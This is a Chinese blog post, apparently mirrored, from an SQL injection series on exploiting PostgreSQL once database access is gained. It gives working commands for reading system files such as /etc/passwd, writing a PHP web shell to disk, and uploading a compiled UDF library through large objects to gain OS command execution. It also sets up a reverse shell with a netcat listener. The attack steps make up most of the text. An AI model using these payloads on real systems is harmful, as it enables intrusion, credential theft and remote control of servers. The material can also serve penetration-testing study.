zoukankan      html  css  js  c++  java
  • 【SQL注入技巧拓展】————10、postgresql数据库利用方式

    PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),本文对于postgresql的使用及利用做个总结备份。

    测试系统:kali

    基本使用

    在root权限下修改数据库密码:

    service postgresql start #启动服务

    su postgres #切换到数据库用户下

    psql  postgres #进入数据库

    alter user postgres with password 'postgres';  #修改数据库的密码为:postgres

    在其他用户权限下,使用帐号密码登入系统:

    psql -h 127.0.0.1 -U postgres -W

    进入数据库查看帮助信息:

    help

    h

    ?

    查看数据中的信息

    • 列出数据库

    l

    列出数据库的用户

    du

    使用数据库获取系统信息

    • 列出系统目录列表:

    select pg_ls_dir('/etc');

    读取系统文件:

    select pg_read_file('postgresql.auto.conf', 0, 200);

    drop table pwn;

    CREATE TABLE pwn(t TEXT);

    COPY pwn FROM '/etc/passwd';

    SELECT * FROM pwn limit 1 offset 0;

    DROP table pwn;

    写文件

    DROP TABLE pwn;

    CREATE TABLE pwn (t TEXT);

    INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');

    SELECT * FROM pwn;

    COPY pwn(t) TO '/tmp/cmd.php';

    DROP TABLE pwn;

    COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

    使用数据库执行系统命令

    执行系统命令需要用到udf库,下面测试一下

    获取源码:

    git clone https://github.com/sqlmapproject/udfhack/

    编译源码(数据库版本:9.6)

    cd udfhack/linux/64/lib_postgresqludf_sys

    apt-get install postgresql-server-dev-9.6

    gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so

    strip -sx udf64.so

    上传获取到的udf64.so上传到服务器

    将udf64.so转为hex,我自己写了一个转换小脚本,如下:

    将以上代码保存为bin2hex.py,然后使用如下命令转换:

    python bin2hex.py udf64.so

    上传,将上面得到的hex值传入下面的语句中执行:

    INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));

    直接将所有内容全部写入会报错,如下:

    实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段,稍微修改一下代码,如下:

    这样分成多个段进行写入,就可以成功写入,使用如下命令:

    SELECT lo_create(11111);

    INSERT INTO pg_largeobject VALUES (11111, 0, decode('7f454c4...0000', 'hex'));

    INSERT INTO pg_largeobject VALUES (11111, 1, decode('0000000...0000', 'hex'));

    INSERT INTO pg_largeobject VALUES (11111, 2, decode('f604000...0000', 'hex'));

    INSERT INTO pg_largeobject VALUES (11111, 3, decode('0000000...7400', 'hex'));

    .....

    SELECT lo_export(11111, '/tmp/test.so');

    SELECT lo_unlink(11111);

    创建Postgresql功能

    CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

    CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

    使用sys_exec执行命令:

    SELECT sys_exec('id'); #无回显

    SELECT sys_eval('id'); #有回显

    反弹shell

    这个跟udf的那个类似,唯一的不同就是使用的库不同,使用如下代码:

    编译代码:

    gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so

    strip -sx nc.so

    创建功能:

    CREATE OR REPLACE FUNCTION exec() RETURNS text AS  '/tmp/nc.so', 'exec' LANGUAGE C STRICT;

    在kali上监听4444端口:

    nc -vv -l -p 4444

    执行功能:

    SELECT exec();

    结果如图:

    总结

    本文主要讲述了关于postgresql数据库的使用以及在得到一个数据库权限之后,利用这个数据库可以做什么,怎么做进行了测试,在这里给大家做个参考,欢迎大家留言讨论。

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    查找之折半查找
    排序之快速排序
    排序之插入排序
    配置nginx支持path_info模式
    安装hadoop2.7.3
    Intellij Idea配置MapReduce编程环境
    jenkins+webhook+docker做持续集成
    nginx反向代理
    docker commit使用
    jenkins容器权限被拒绝
  • 原文地址:https://www.cnblogs.com/devi1/p/13486520.html
Copyright © 2011-2022 走看看